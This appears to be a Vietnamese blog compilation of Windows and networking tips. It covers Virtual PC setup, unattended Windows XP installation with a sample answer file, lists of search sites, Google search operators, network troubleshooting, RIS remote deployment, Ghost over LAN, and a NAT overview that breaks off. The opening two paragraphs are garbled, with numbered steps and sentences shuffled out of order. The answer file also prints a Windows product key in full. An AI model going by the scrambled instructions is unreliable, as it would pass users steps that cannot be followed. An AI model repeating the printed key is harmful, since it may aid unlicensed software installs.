vị trí để lưu trữ các file máy ảo và dung lượng cho máy ảo.Chọn sản phẩm mong muốn chẳng hạn như tường lửa ISA Server 2006 3. điền tên cho máy ảo và chọn Next 4.Nếu chưa có bạn chọn nút Sign up now bên tay phải để tạo cho mình một tài khoản 5.Sau khi tải về máy bạn chạy file *. 4. Có một số máy ảo khi bung ra chiếm đến 10Gb trên ổ cứng 7.microsoft.vmc là sẽ có ngay một máy .Chọn Continue.Tới đây ta cần phải đăng nhập bằng một tài khoản Windows Live ID.Đọc qua một số miêu tả về bộ máy ảo cho sản phẩm.Tuỳ theo sản phẩm mà dung lượng các máy ảo lớn hay nhỏ thông thường vào khoảng 1Gb đến 2Gb 6.exe để bung các máy ảo ra.Vào trang cung cấp máy ảo dựng sẵn của Microsoft: http://www.ta Start máy ảo vừa cấu hình xong.Tại cửa sổ mới chọn Next.Thường ta sẽ chọn 3Gb cho máy ảo XP và 5Gb cho máy ảo Wins 2k3 8.Tại cửa sổ Virtual PC Console.Từ File chọn New Virtual Machine Wizard 3.2.Tại cửa sổ tiếp theo chọn Adjusting the RAM để thay đổi dung lượng RAM cho máy ảo nếu muốn.Ta chọn Next để đi tiếp 6.ta sẽ thấy các thông số về RAM và HDD tương ứng cho máy ảo bên phải 5.

Xong rồi. Trong đĩa cài win có giúp chúng ta thực hiện việc này.. Trong CD.trithuccongdong. đang cài win mà! Thì đi 1 tiếng sau về là cài xong chứ gì.Sao hay quá vậy? Câu trả lời là như sau: Bình thường khi bạn cài thì giữa chừng nó sẽ hỏi cdkey. Nhấp đúp giải nén. Máy ảo Cài win không cần đợi nhập thông số - Bạn đang cài windows.Ta chỉ cần đọc qua Read Me và sử dụng (xem hình 2 và hình 3) Mẹo: Khi sử dụng máy ảo ta có thể lưu lại trạng thái hiện tại của nó và quay trở lại trạng thái đó ngay lập tức bằng cách khi tắt máy ảo ta chọn Save State tại hộp thoại Close http://www. Ái chà. về là nó tự cài xong luôn.exe. Đâu được. không phải nhập gì hết! .php? option=com_content&task=view&id=492&Itemid=113 Được đăng bởi haodalat tại 5:23 CH 0 nhận xét Nhãn: CÓ THỂ BẠN CHƯA BIẾT. Hắn sẽ làm gì đây?…. Đây là một file nén. Thế thì tại sao trước khi cài chúng ta không thiết lập sẵn những thông số đó rồi cho nó cài 1 lèo luôn. đợi nó hỏi cdkey. Mày để tao……. (lúc sau) . đi uống cafe. chọn thông số nữa chứ. Việc gì phải đợi nó. cài setupmgr.cab. network settings.…. Chọn: New or existing answer file : Creat new Type of Setup: unattended setup Product: windows XP professional User Interaction: full automated . vào Support/Tools/ Deploy.ảo đã dựng và cấu hình sẵn.com/portal/index. thằng bạn rủ bao đi uống nước.

BAT. có nội dung: .Distribution Share: set up from a CD. cd key. mình sẽ hướng dẫn trong các bài sau).SIF: đoạn cript chứa các thông số được nhập. License Agreement: Accept Cữa sổ mới hiện lên để nhập các thông số.sif. File này có nội dung: @rem SetupMgrTag @echo off rem rem This is a SAMPLE batch script generated by Setup Manager.SetupMgrTag [Data] AutoPartition=1 MsDosInitiated=”0″ UnattendedInstall=”Yes” [Unattended] Repartition=Yes UnattendMode=FullUnattended OemSkipEula=Yes OemPreinstall=No TargetPath=\WINDOWS [GuiUnattended] AdminPassword=* . WinNt.SIF và WINNT. rem If this script is moved from the location where it was generated. organization.sif set SetupFiles=D:\i386 D:\i386\winnt32 /s:%SetupFiles% /unattend:%AnswerFile% WINNT. rem set AnswerFile=. it may have to be modified. Sau khi cài xong thì lưu lại vào ổ mềm với tên WINNT.SIF (chú ý có rất nhiều format. Bây giờ nhập các thông số (name. cái gì không biết thìể mặc định.\winnt.…) vào rồi next thôi. Tại ổ mềm sẽ có 2 file: WINNT.bat: là file chạy trả lời thông số tự động lấy nội dung từ file winnt.

Bây giờ máy sẽ tự động cài toàn bộ cho đến hết mà bạn không cần phải nhập gì hết.EncryptedAdminPassword=NO OEMSkipRegional=1 TimeZone=205 OemSkipWelcome=1 [UserData] ProductKey=JD3T2-QH36R-X7W2W-7R3XT-DVRPQ FullName=”TrinhThanhSu” OrgName=”PTIT” ComputerName=THANHSU [TapiLocation] CountryCode=84 [Identification] JoinWorkgroup=WORKGROUP [Networking] InstallDefaultComponents=Yes Chú ý: Repartition=Yes là mặc định cài vô partition đầu tiên.CAB). Sau khi tạo xong.chm (trong DEPLOY.boardreader. Bạn có thể thử trên máy ảo. Từ đó bạn có thể tự tạo thủ công 2 file này bằng notepad cũng được (nhưng dễ lộn. Để nguyên ổ A trong máy. cho đĩa CD Windows XP và ổ. Chúc các bạn may mắn. http://www. trong ổ A có 2 file như trên. chắc ăn cứ dùng chương trinh của bác Bill).com/ .com/?p=218 Được đăng bởi haodalat tại 2:09 CH 0 nhận xét Nhãn: Cai WIN tu dong Các site tìm kiếm chuyên biệt 21 site tìm kiếm đặc biệt (nhưng ít được biết đến) giúp bạn tập trung tìm kiếm với những chủ đề chuyên biệt: *BoardReader http://www. Cú pháp của đoạn cript này bạn tham khảo tại file ref. khởi động lại.blogthuthuat.

các liên kết tốt nhất cho cả nghiên cứu chính thống và khác thường. Site này cung cấp địa chỉ URL một số cơ sở dữ liệu thông tin ít được biết đến.dmoz.org/ Thư mục miễn phí phân loại các site giống như thư mục của Yahoo.Trung tâm thông điệp.com/27641 Catalog các ấn phẩm của chính phủ Mỹ. nhưng không có quảng cáo và các liên kết tài trợ.com/28001 Site này cho bạn tầm nhìn của người quản lý thư viện .net/ Săn tìm thông tin. Nó cũng có ích với các chủ đề hàn lâm.pcworld.compinfo-center. *The Invisible Web http://www. máy tính.completeplanet. y tế. Khi cần thông tin chi tiết về một công nghệ hay một thành phần nào đó ở mức chuyên sâu. đồ cổ.000 cơ sơ dữ liệu và dịch vụ tìm kiếm.com/ Hệ thống thư mục của site này cho phép bạn truy cập tới hơn 100. *Digital Librarian http://Find. thể thao. *Dmoz http://www. Tìm các thông điệp gửi đi khắp trên web và các chủ đề như nghệ thuật.com/ Đặc tả kỹ thuật chuyên sâu.invisible-web. bao gồm nhiều lĩnh vực như kinh doanh. *CompletePlanet http://www. *Truy cập GPO http://Find. luật pháp.pcworld. . du lịch… *CompInfo http://www. hãy tìm ở đây và bạn sẽ có khá nhiều thông tin.

lasoo. *Researchville http://www.pandia. Bạn có thể thử công cụ biên dịch với 15 ngôn ngữ. Tìm kiếm các chủ đề nghiên cứu và các ông cụ ngôn ngữ.com/ Cho phép bạn tìm các tin tức đặc biệt từ báo.com/ Site này cho phép tìm kiếm thông tin về các khách sạn. *Ixquick http://www. nhóm thảo luận. *MagPortal.com/ Thực hiện siêu tìm kiếm kết hợp nhiều site tìm kiếm phổ biến. *Lasoo http://www.researchville. Cung cấp danh sách các dịch vụ tìm kiếm và hệ thống thư mục thực hiện truy vấn về hình ảnh. đài. hay duyệt qua các mục như “doanh nghiệp nhỏ” hoặc “tuyển dụng”.com/ Kho tạp chí.kỹ thuật và một số dữ liệu đặc biệt khác.com/ Thủ pháp từ ngữ.com http://www. từ điển thuật ngữ máy tính. *Itools http://www. Bạn có thể tìm trang web. tin tức. và những thứ khác. tập tin nhạc MP3. tin tức.ixquick. mua sắm. từ điển luật pháp. *Pandia Search Central http://www. Bạn có thể tìm kiếm các bài báo trong kho tư liệu khổng lồ này.magportal. hình ảnh… và không gặp phải các site trả tiền mà các công cụ siêu tìm kiếm khác thường hay liệt kê.itools.com/ Tìm kiếm site tìm kiếm. radio trực tuyến. và còn có cả từ điển đồng nghĩa có thể giúp bạn giải các bài toán ô chữ. cửa hàng ô tô. hay các doanh nghiệp khác trên khắp thế giới và hiển thị bản đồ vị trí. Bạn cũng có thể đi vào các .

com http://www.com/ Công cụ tìm kiếm đặc biệt. và các mục liên quan đến chính phủ. tôn giáo. âm nhạc… *Singingfish http://www. tin tức và nhiếu mục khác. *Kho dịch vụ tìm kiếm http://find.com/ Liên kết tới các niên giám.pcworld.com/ Site danh bạ các doanh nghiệp ở Mỹ *Teldir.com http://www.com/ Tìm kiếm thông tin quốc tế vầ âm nhạc. bản đồ hay hình ảnh. *Vroosh . *Vivisimo http://www. không có quảng cáo và rất hữu ích này truy vấn nhiều site tìm kiếm và sắp xếp kết quả theo loại tài liệu là thông điệp. địa chỉ email và số fax từ hơn 170 nước trên khắp thế giới.singingfish.com/27642 Tìm kiếm thông tin thống kê về mọi thứ từ tuổi tác và dòng họ cho đến lưu vực sông và sinh vật tự nhiên. *Switchboard.com/27642 Ở đây bạn có thể tìm thấy liên kết tới các dịch vụ tìm kiếm khu vực ở hơn 196 nước. giáo dục.eldir. *Thông tin thống kê trên web http://Find.sswitchboard.site nghiên cứu về y tế.vivisimo. danh bạ. Bạn có thể tìm theo chủ đề như nghệ thuật. Ví dụ như bạn có thể nhanh chóng tìm thấy phần nhạc phim Moulin Rouge (Bức màn màu đỏ) với nhiều ngôn ngữ khác nhau. phim ảnh.pcworld.

hãy thêm khoảng trắng và dấu cộng ” +” trước từ khóa đó.com/search/label/L%C6%B0%E1%BB%9Bt %20%20web ++++++++++++++ Các mẹo tìm kiếm với Google . hãy thêm . vd như “where”. . bạn ko cần thêm từ “and” vào giữa các từ khóa. . cung cấp đủ mọi thông tin từ các sự kiện lịch sử nghệ thuật đến các chủ đề khoa học. Bạn cũng có thể dùng công cụ tìm kiếm MP3 thân thiện của nó mà không bị quảng cáo.blogspot. muốn tìm trang web có diễn đàn về máy tính. bạn phải chọn từ khóa phù hợp và có liên quan với nội dung cần tìm.http://www. VD muốn tìm thông tin về Picasso. ko cần các liên từ “and”. Google tự động tìm các trang web có tất cả các từ khoá bạn nhập vào. VD tìm các thông tin liên quan đến “computer” và “forum”.Nhập từ ngắn gọn.Tìm theo các danh mục có sẵn: bạn có thể tìm thông tin theo các danh mục Google phân định sẵn tại http://directory. . http://thuthuat-tinhoc. *Xrefer http://www. hãy nhập “computer forum” thay vì nhập “the place to discuss about computer”. tập tin MP3. “how”. vd: “computer +how”.Bạn có nhập chữ Unicode vào field tìm kiếm của Google để tìm các thông tin theo ngôn ngữ của bạn đang dùng. “a”.vroosh. và sách. hãy nhập vào “Picasso” (không có ngoặc kép) thay vì nhập “painter” (họa sĩ).com/ Site này là một bộ tuyển tập các sách tham khảo.Google sẽ loại bỏ các từ thông dụng trong các từ khóa. Từ khóa có thể là từ mà có thể xuất hiện trên website bạn cần tìm. .Xác định đúng từ khóa cần thiết: Để có được kết quả chính xác hoặc gần mới những gì mình cần tìm.Google tìm kiếm không phân biệt chữ hoa và thường.xrefer. “the”… để tăng tốc độ tìm kiếm. đấu giá trực tuyến. càng chính xác càng tốt. Do đó nếu bạn muốn kết quả có các từ này. Nếu bạn muốn tìm chính xác 1 chuỗi nào đó.google. thuật ngữ âm nhạc và có cả các câu trích dẫn nổi tiếng.com/ Site siêu tìm kiếm của Canada cho phép bạn tìm các chủ đề về tin tức.com/ . bạn chỉ cần nhập “computer forum” thay vì là “computer and forum”.

google. bạn nhập từ khóa “related:www.Tìm kiếm các trang thông tin có liên kết đến trang bạn cần. VD bạn muốn tìm các diễn đàn máy tính nhưng không có nói về hacking. VD bạn tìm “allinurl:pcwvn” sẽ cho ra các trang web có địa chỉ chứa từ “pcwvn” .com .Tìm thông tin trong các tệp dữ liệu theo kiểu tệp cụ thể.Từ khóa “intitle:từ_khóa_1 từ_khóa_2…” sẽ tìm các trang web có tiêu đề bắt buộc có chứa từ_khóa_1 và nội dung hoặc tiêu đề có chứa từ_khóa_2.com” . .Tương tự trên khi bạn muốn tìm kiếm 1 trang web nào đó theo từ khóa yêu cầu nhưng lại ko muốn xuất hiện từ khóa nào đó.com . VD “intitle:google search” sẽ tìm các trang web có tiêu đề chứa từ “google” và nội dung có từ “search” .google. bạn dùng “allintitle:computer” .com” sẽ xuất các thông tin về trang www.Tìm giới hạn theo tên miền (domain): Nếu bạn muốn tìm thông tin trong 1 website cụ thể nào đó. bạn có thể dùng từ khóa “computer forum -hack” . VD muốn tìm các trang web có tiêu đề computer.com .ngoặc kép cho đoạn đó. bạn nhập như sau: “link:www. bạn dùng từ khóa “filetype:phần_mở_rộng”.Từ khóa “info:URL” sẽ tìm các thông tin liên quan về 1 trang web nào đó. VD tìm nội dung “computer OR forum”. hãy dùng từ khóa “site:URL”.download.Từ khóa “allinurl:các_từ_khóa” sẽ tìm các trang web có địa chỉ URL bắt buộc chứa các từ khóa chỉ định. VD tìm thông tin về chương trình CuteFTP trong trang www.microsoft. VD bạn nhập “info:www. vd: “where are you” .microsoft. VD tìm trang tương tự trang www.google.com” . bạn nhập “cuteftp :www. bạn có thể dùng dấu trừ ” -”.Tìm kiếm với “OR”: Google cho phép dùng từ khóa “OR” (chữ hoa) giữa các từ khóa cần tìm để tìm các thông tin xuất hiện ít nhất 1 từ khoá.Từ khóa “related:URL" cho phép tìm các trang web có thông tin tương tự 1 trang web nào đó. VD muốn tìm các thông tin computer trong các file có kiểu PDF. kết quả sẽ cho ra các trang có ít nhất 1 từ khoá “computer” hoặc “forum” hoặc có cả hai.com” . bạn nhập như sau: “computer filetype:pdf” .Từ khóa “allintitle:từ_khóa” sẽ tìm các trang web có tiêu đề được chỉ ra sau dấu 2 chấm.google. VD bạn tìm các trang web có liên kết đến trang www.com .download. bạn dùng từ khóa “link:URL”.

hãy đảm bảo rằng tất cả các máy tính trong mạng sử dụng tên workgroup giống nhau. ví dụ như Dell hoặc Desktop có thể là nguyên nhân dẫn đến vấn đề này. bỏ dấu tích trong hộp có chức năng tắt . Gọi đội hỗ trợ kỹ thuật thì không phải lúc nào cũng có mặt ngay. VD bạn tìm “inurl:pcwvn news” sẽ cho ra các trang web có địa chỉ chứa từ “pcwvn” và chỉ đến phần “news”.vn/intl/vi/help. Để "xử lý" được những vấn đề này.google.html Được đăng bởi haodalat tại 2:04 CH 0 nhận xét Nhãn: TimKiem Lỗi và khắc phục lỗi mạng Máy tính ở cơ quan của bạn đột nhiên không vào được mạng. Mất kết nối Thông thường lỗi này có thể được giải quyết bằng cách khởi động lại modem dải bằng tần. Trước tiên. Bạn có thể thực hiện việc cài đặt này nhờ truy cập trang web của công ty phần mền. và không tạo ra tên có trên 15 ký tự. Ngoài ra. Hãy đảm bảo rằng mỗi máy tính có một tên duy nhất..Giao thức cấu hình Host động (thời gian router lưu trữ địa chỉ IP của thiết bị trong mạng) trong vòng ít nhất một tuần. router mạng. Để thay đổi workgroup hay tên máy tính. Tên workgroup mặc định trong Windows XP Home là 'MSHome'. trong Windows phiên bản sau này và trong Windows Vista là 'Workgroup'. Bạn có thể tìm hiểu thêm thông tin tìm kiếm tại http://www.Từ khóa “inurl:từ_khóa_1 từ_khóa_2…” sẽ tìm các trang web có địa chỉ URL bắt buộc chứa từ_khóa_1 và nội dung trang web chứa từ_khóa_2.com. tìm đến adapter tương ứng với của bạn và chọn Properties. Không hiển thị các máy tính trong cùng mạng Trong nhiều trường hợp. hãy truy cập vào trang Web về Adapter của nhà quản lý. Trong hệ điều hành Windows XP. không nhìn thấy các máy tính khác cũng như các dữ liệu chia sẻ hay không thể kết nối với máy in của mạng nội bộ. hoặc mất kết nối. Mai Linh). Nếu như bạn phải lặp đi lặp lại thao tác này thì rất có thể lỗi này xuất phát từ cài đặt máy tính và router. trước tiên kích chuột vào nút Start ->Control Panel -> System và chọn tab Computer Name (Tên máy tính). hãy kéo dài thời gian DHCP. và/hoặc máy tính. bạn có thể thực hiện các thủ thuật dưới đây.. Dưới tab Quản lý Nguồn. Nếu laptop bị mất kết nối. nhiều máy tính có cùng một tên. hãy kiểm tra chế độ cài đặt quản lý nguồn đối với adapter mạng. các sự cố về chia sẻ file trong mạng xuất phát từ lỗi Workgroup và cách đặt tên máy tính. Không sử dụng dấu cách trong khi đặt tên máy tính (ví dụ: Windows ME..

Việc làm này có thể khiến pin của bạn đi hao mòn đi chút ít nhưng ngược lại. Không truy cập Web. hãy tắt bỏ chế độ mạng "ad hoc" và ngăn không cho tự động kết nối tới mạng không được ưu tiên. thì hãy sử dụng máy chủ DNS tại OpenDNS. Cách duy nhất để đảm bảo an toàn cho mạng là ngăn máy tính không tiếp xúc với "thế giới bên ngoài". sau đó thay đổi địa chỉ IP cho DNS sang 208. bạn có thể chuyển toàn bộ các chế độ này bằng cách kích chuột vào biểu tượng Wi-Fi trong hệ thống và chọn mục Thay đổi chế độ cài đặt nâng cao. Không mở hoặc truy cập vào những file. Tuy nhiên. Đối với bảo mật trong mạng dùng chung. tuy nhiên chỉ những phiên bản trả tiến tích hợp chức năng quản lý và chia sẻ máy in và file.222. khi cài đặt Wi-Fi. Máy chủ DNS là máy tính mà ISP của bạn lưu dữ liệu dùng để dịch những URLs đơn lẻ sang địa chỉ IP tương ứng trong mạng Internet. Trong hệ điều hành Win XP.222 và 208. Phiên bản Network Magic miễn phí cho phép bạn sửa kết nối mạng và bảo vệ kết nối không dây. Tiếp theo. Nếu như bạn nhận được thông báo rằng không thể tìm được trang Web hoặc không thể truy cập được địa chỉ email .vv. hãy sử dụng mạng riêng ảo để mã hoá toàn bộ việc lưu thông mạng internet giữa máy tính của bạn và máy chủ trung gian.67. Cuối cùng. .. bạn có thể tránh được biện pháp hi hữu trên nếu như thực hiện các biện pháp an toàn trong khi sử dụng mạng như.67. Ngoài ra.222.com để thay thế ISP của bạn.nguồn của bạn. không email. trước hết bạn truy cập vào chế độ cài đặt mạng WAN trong mục router tại trình duyệt Web của công ty phần mền. Các công ty thường chạy trên máy chủ VPN. Bức tường lửa làm mất kết nối Nếu như bức tường lửa trong hệ điều hành Windows Vista vẫn được đánh giá cao thì bức tường lửa của hệ điều hành Windows XP vẫn tồn tại những thiếu khuyết. trang web đáng nghi. kích chuột voà nút AdvancedàAccess point networks only. ngắt bỏ chế độ tự động kết nối với mạng không được ưu tiên. Giải pháp cho vấn đề này là hãy sử dụng công cụ tiện ích thứ ba. kết nối mạng sẽ ổn định.220. Dưới tab Wireless Networks.. Nâng mức bảo mật lên cao nhất. Dịch vụ DNS cũng là nguyên nhân dẫn đến mất kết nối mạng. Để làm được việc này. ZoneAlarm's Trusted Zone cho phép các máy tính trong workgroup giao tiếp với nhau. bạn còn có thể sử dụng phần mền chương trình Network Magic dùng để quản lý việc chia sẻ file và máy in trong mạng.

RIS có sự kết hợp của 1 ảnh cơ bản (các file nguồn) của kiểu cài đặt nhân bản (Ghost). Với cách này. cộng với cài đặt bằng dòng lệnh. Quá trình cài đặt từ phía Client được thực hiện tự động từ khâu tìm kiếm server cung cấp nguồn cài đặt. nhưng bù lại bạn phải làm việc khá vất vả vì việc cấu hình RIS khá phức tạp. Việc cài đặt bằng RIS sẽ giảm thiểu nhiều công sức và thời gian của người quản trị. phía Client không cần có ổ CD cũng cài được vì nó cài qua mạng mà. Sử sẽ post bài đó sau).php? option=com_content&task=view&id=493&Itemid=113 Được đăng bởi haodalat tại 1:53 CH 0 nhận xét Nhãn: NETWORK. wifi. Bây giờ bạn phải setup toàn bộ hệ thống mạng của công ty.Trong hệ điều hành Windows Vista. cách này cho phép cài đặt trên nhiều cấu hình phần cứng khác nhau. Mỗi máy mất khoảng 1 giờ. Microsoft đã tích hợp trong hệ thống của họ một cách cài đặt rất hay là cài windows từ xa qua mạng LAN hay còn được biết đến với các tên RIS (Remote Installation Services). Tiến thoái lưỡng nan… Giải pháp nào cho vấn đề này? Có ý kiến rằng: tôi dùng file ghost có sẵn!! Thế nhưng nếu 100 máy đó có cấu hình không giống nhau thì sao dùng ghost được? (Thật ra cũng có cách tạo ghost nhận mọi cấu hình tuy nhiên bài viết này tạm thời xem như chúng ta chưa biết cách tạo.trithuccongdong. WIRELESS Hướng dẫn cài Windows từ xa qua mạng LAN Dặt vấn đề: Công ty bạn có khoảng 100 máy. Do vậy. Nếu như bình thường thì bạn phải cài lần lượt trên 100 máy. tải file về và thực hiện cài đặt tự động.com/portal/index. bạn hiện có 1 đĩa CD cài win. Như vậy thì bạn mất khoảng 100 giờ để cài xong hệ thống!! Nếu bạn muốn nhanh không dùng cách đó thì phải mua 100 cái đĩa cài rồi cài một lúc!! Cách đầu thì mất thời gian còn cách thứ hai thì tốt tiền cho 100 đĩa. Theo MSN http://www. Chính vì lý do đó. Điều kiện thực hiện . ngắt thuộc tính Vista Network Discovery (chế độ cho phép các máy tính nhìn thấy máy tính của bạn trong mạng) nếu như máy tính của bạn nằm trong khu vực nguy hiểm. Phương pháp RIS cần 2 thành phần: Server và Client: Server chạy dịch vụ cài đặt từ xa RIS và cung cấp file cài đặt cho Client khi được yêu cầu từ phía Client.

* Cài DNS Service (thật ra thì khi nâng cấp lên Domain thì tự động sẽ cài dịch vụ DNS luôn nên bước này không cần làm). Ví dụ: Ổ C cài win. chỉnh DNS về chính máy Server để khi nâng cấp lên domain thì cài luôn dịch vụ DNS. Sau đó log on với tài khoản Administrator. đĩa cài win. * Và …. Còn lại cứ next tới để mặc định. Thực hiện: Trên Server: Nâng cấp Server từ mô hình Workgroup lên Domain. Trong phần chỉnh địa chỉ của card mạng. ví dụ: Win 2000 hay 2003. chỉ có một chổ là phải nhập tên domain vào. khỏi phải mua hehe. gỏ lệnh dcpromo rồi thực hiện lần lượt như trong các hình: Nói chung nếu mới làm quen thì mọi thứ bạn để mặc định next tới thôi. Sau khi cài xong máy sẽ yêu cầu restart máy lại.com. Vào Start Program\Run. * Server cài đặt RIS phải có 2 phân vùng khác nhau vì phân vùng chứa các thông tin và các ảnh đĩa phải khác với phân vùng hệ thống. ổ D chứa file ảnh. * Cài DHCP Server. Sử dùng máy ảo nên có hỗ trợ sẵn Boot ROM. Client: * Có card mạng.Server: * Server phải chạy hệ điều hành dùng cho Server. Lưu ý là Phân vùng cài đặt RIS phải được định dạng theo chuẩn NTFS phiên bản 5 trở về sau. Ở đây. . ví dụ ở đây tôi nhập d03tha1. * Hỗ trợ boot ROM. * Server phải được nâng cấp lên Domain.

Tạo đĩa boot mạng Để cho 1 máy chưa có Hệ điều hành truyền thông được vói RIS Server. còn trống nhiều và “không cùng nằm trên ổ cứng chứa win server” vd: G:\RemoteInstall). giải nén và ghi CD.edu/faqs/attachments/29/Ghost8-CD-Boot.ischool. Finish. hoặc bạn dùng đĩa mềm hay đĩa CD ROM có chức năng Boot từ mạng. Next. bước này chờ hơi lâu. Tạo đĩa mềm boot mạng: Vào thư mục D:\RemoteInstall\Admin\i386 chạy file rbfg. Đánh dấu chọn vào Respond to client computer (khoan chọn Do not respond to unknown client). scope là dãy địa chỉ sẽ cấp cho Client. Chọn Next. Tạo Scope mới. Active Scope: Lưu ý: trong mô hình mạng domain thì để DHCP chạy thì phải Authorize nó: Cấu hình dịch vụ RIS: Chọn đường dẫn chứa image (Phải nằm trên đĩa dịnh dạng NTFS. Đợi nó copy. .washington. Sau đó nhập dãy địa chỉ cần cung cấp: Khi có hộp thoại hỏi có cấu hình Scope Options không thì bạn chọn No.Cài dịch vụ RIS và DHCP: Vào Control Panel\Add Remove Programs\Add Remove Windows Components\ Chọn Remote Installation Service. Card mạng của máy cần cài đặt phải có tích hợp boot qua mạng (PXE). Name Server. Cái này là thêm một số thông tin phụ như Default Gateway.edu/faqs/12_29_en. Next Kế là chọn nơi có intallation files (chính là thư mực I386 trên CD window). Next. khoảng 20 đến 30 phút tùy cấu hình máy Server. Bạn có thể học cách tạo đĩa boot mạng bằng chương trình Symantec Ghost tại http://help.exe để tạo đĩa mềm. Cấu hình dịch vụ DHCP: Mở phần cấu hình DHCP Server lên.… Trong phạm vi bài này ta không cần thiết chỉnh nó.ischool. Chọn text mô tả cho image của mình.washington.zip.html hay tải file đã tạo săn tại http://help. Ngoài ra cài thêm DHCP trong Networking Service sau đó next tới để cài.

Tạo file trả lời cho máy tự động cài không cần đợi nhập thông số.exe (next) chọn new -> chọn Remote intallation service (RIS) chọn window mà mình đã tạo image lưu trên server.cab về máy. để cho User có quyền cài từ xa qua mạng LAN thì ta phải add user vào nhóm Account Operators. Trường hợp máy bạn không có boot ROM thì bạn phải chọn boot từ đĩa mềm hoặc đĩa CD trước. Start \ Programs \ Administrative tools \ Active Directory Users and Computers Tạo OU (Organization Unit) tên PhongC60 (phòng C60). Right Cick \ Properties \ tab Member Of \ Add \ Advanced…\ Find Now Nhấn OK Nhấn OK Xong phần Server! Trên Client: Vào Bios chỉnh thứ tự boot mạng lên đầu tiên hoặc nhấn F12 để vào chế độ boot từ mạng. bạn copy file Deploy. giải nén và chạy file setupmgr. Bây giờ chỉ việc ngồi chờ thôi! Vậy là chỉ cần 1 đĩa CD và không phải mất thời .sif” trong thư mục D:\RemoteInstall\Setup\English\Images\WINDOWS\i386 \templates Phân quyền để user có thể dùng RIS cài window. Trong thư mục Support của đĩa cài win. Next -> chọn Fully automated -> I accept… Sau đó xuất hiện hộp thoại từng bước có nhiều chổ kêu mình nhập thông số vào: Cuối cùng mình save file này tên là “remboot. Bước này bạn nghĩ đến bài “cài win không cần đợi nhập thông số” mà mình đã post trước đây nhưng thật ra hơi khác một chút. trong đó tạo 2 User tên su và tri Khi Client cài qua mạng sẽ hỏi username và password của user.

bạn chọn YES. Đến đây ta mới thấy được giá trị của đĩa boot Hiren. đợi một chút có hộp thoại hiện ra hỏi có load Driver CD không.php? option=com_content&task=view&id=499&Itemid=113 Được đăng bởi haodalat tại 1:42 CH 0 nhận xét Nhãn: cài Windows từ xa qua mạng LAN Ghost qua mạng LAN Vấn đề là máy Client ban đầu chưa có hệ điều hành thì làm sao biết được máy nào đang share file ghost mà load về. nhớ để permission quyền Full Control. Điều này tương tự như “map network drive” khi ta nhấp chuột phải vô file đã share vậy.trithuccongdong. Cách thực hiện: Trên Server: Chỉ cần share thư mục dùng để chứa file ghost.gian cài lần lượt trên từng máy. Sau khi cài xong thì Client không join domain mà vẫn ở mô hình Workgroup. Ví dụ ở đây mình cấu hình địa chỉ IP card mạng của Client Nhấn ESC để tiếp tục.wordpress. Chúc các bạn thực hiện thành công! Tác giả: Trịnh Thanh Sử Theo thuthuat. Sau khi có dấu nhắc hiện ra. Trên Client: Dùng chương trình sau trong đĩa boot Hiren Ta có thể ghost từ máy dùng IP tự cấu hình hoặc dùng DHCP. ta vẫn có thể cài máy từ xa qua mạng LAN.com/portal/index.com http://www. bạn gỏ lệnh: net use <đường dẫn UNC đến thư mục share> Trong đó: . Trong boot Hiren có 1 số chương trình có thể cho ánh xạ thư mục share từ máy khác trên mạng thành 1 ổ đĩa trên máy mình từ môi trường DOS.

bạn share một thư mục có tên là thunghiem thì đường dẫn sẽ là \\juniper\thunghiem Sau đó gỏ lệnh Ghost để vào chương trình Ghost rồi làm bình thường. Lúc này trên phần chọn ổ đĩa sẽ có thêm ổ X do ta mới map ở trên.trithuccongdong. chúng ta sẽ nói sơ lược qua các dạng NAT Static NAT Với static NAT thì sự chuyển đổi packet giữa hai network. nó giúp dấu tất cả IP bên trong LAN với thế giới bên ngoài. Firewall. Đường dẫn UNC đến thư mục share: ví dụ trên máy Server tên juniper. tránh sự dòm ngó của hackers.php? option=com_content&task=view&id=500&Itemid=113 Được đăng bởi haodalat tại 1:41 CH 0 nhận xét Nhãn: ghost qua mang LAN Khái quát về NAT Khái quát về NAT NAT hay còn gọi là Network Address Translation là một kỉ thuật được phát minh lúc khởi đầu dùng để giải quyết vấn đề IP shortage. giữa nguồn và địa . NAT cũng có nhiều loại hay hình thức khác nhau. nhưng dần dần nó chứng tỏ nhiều ưu điểm mà lúc phát minh ra nó người ta không nghĩ tới. Vậy là bạn đã truy xuất qua mạng từ môi trường DOS được rồi đó. 3. Chúc bạn thực hiện thành công! http://www. Chia sẽ kết nối internet với nhiều máy bên trong LAN với một địa chỉ IP của WAN Một lợi điểm nữa của NAT là nó có thể làm việc như một 2.Tên ổ đĩa cần map: là 1 kí tự ổ đĩa bất kì không trùng với các partition trong máy. Tính linh hoạt và sự dễ dàng trong việc quản lý NAT giúp cho các home user và các doanh nghiệp nhỏ có thể tạo kết nối với internet một cách dễ dàng và hiệu quả cũng như giúp tiết kiệm vốn đầu tư.com/portal/index. một trong những lợi điểm của NAT ngày nay được ứng dụng nhiều nhất là NAT cho phép 1. Đến đây thì khỏi nói chắc bạn cũng biết làm thế nào rồi.

chỉ đến trở nên đơn giản và nhất định. các thông tin về mapping đều không cần thiết.201 đến một địa chỉ thuộc class C 178. Static NAT sử dụng khi số lượng IP trong LAN bằng số lượng NAT-IP. NAT ngụy trang hay giả lập (Masquerading) Đây là dạng NAT phổ thông mà chúng ta thường gặp và sử dụng ngày nay trong các thiết bị phần cứng hay phần mềm routing như router hay các phần mềm chia sẽ internet như ISA.201 * Mỗi một kết nối từ bên trong muốn ra ngoài sẽ được NAT cung cấp một địa chỉ trong số lượng IP sẳn có của NAT. nếu các NAT-IP này được cấp phát hết thì các connection từ class B sẽ không thể ra ngoài được nữa. các kết nối ra bên ngoài đều được tạo ra giả tạo tại NAT trước khi nó đến được địa chỉ internet. ICS hay NAT server mà lát nữa đây chúng ta sẽ có dịp tìm hiểu cách thiết lập nó. Nó chỉ cần nhìn vào mỗi IP packet khi chuyển đổi. Các bạn có thể tham khảo hình sau đây để có thể hiểu cách làm việc của Dynamic NAT * NAT rule: Dynamic translate tất cả IP thuộc class B 138. Dynamic NAT Dynamic NAT khác với static là các địa chỉ host IP được thay đổi liên tục mỗi lần tạo kết nối ra ngoài các host này sẽ nhận được một địa chỉ NAT-IP và mỗi lần như vậy NAT sẽ giữ lại thông tin IP của host này trong NAT Table của nó và cứ như thế. Các bạn có thể tham khảo hình dưới đây để tìm hiểu cách làm việc của NAPT * . Tuy nhiên cái bất lợi của dynamic NAT là khi NAT-IP được cung cấp hết do cùng một lúc có nhiều host rong LAN gởi yêu cầu thì lập tức sẽ không còn bất kì một kết nối nào được chuyển dịch nữa qua NAT vì NAT-IP đã được cấp phát hết và như vậy nó phải đợi tới lần kết nối sau. với 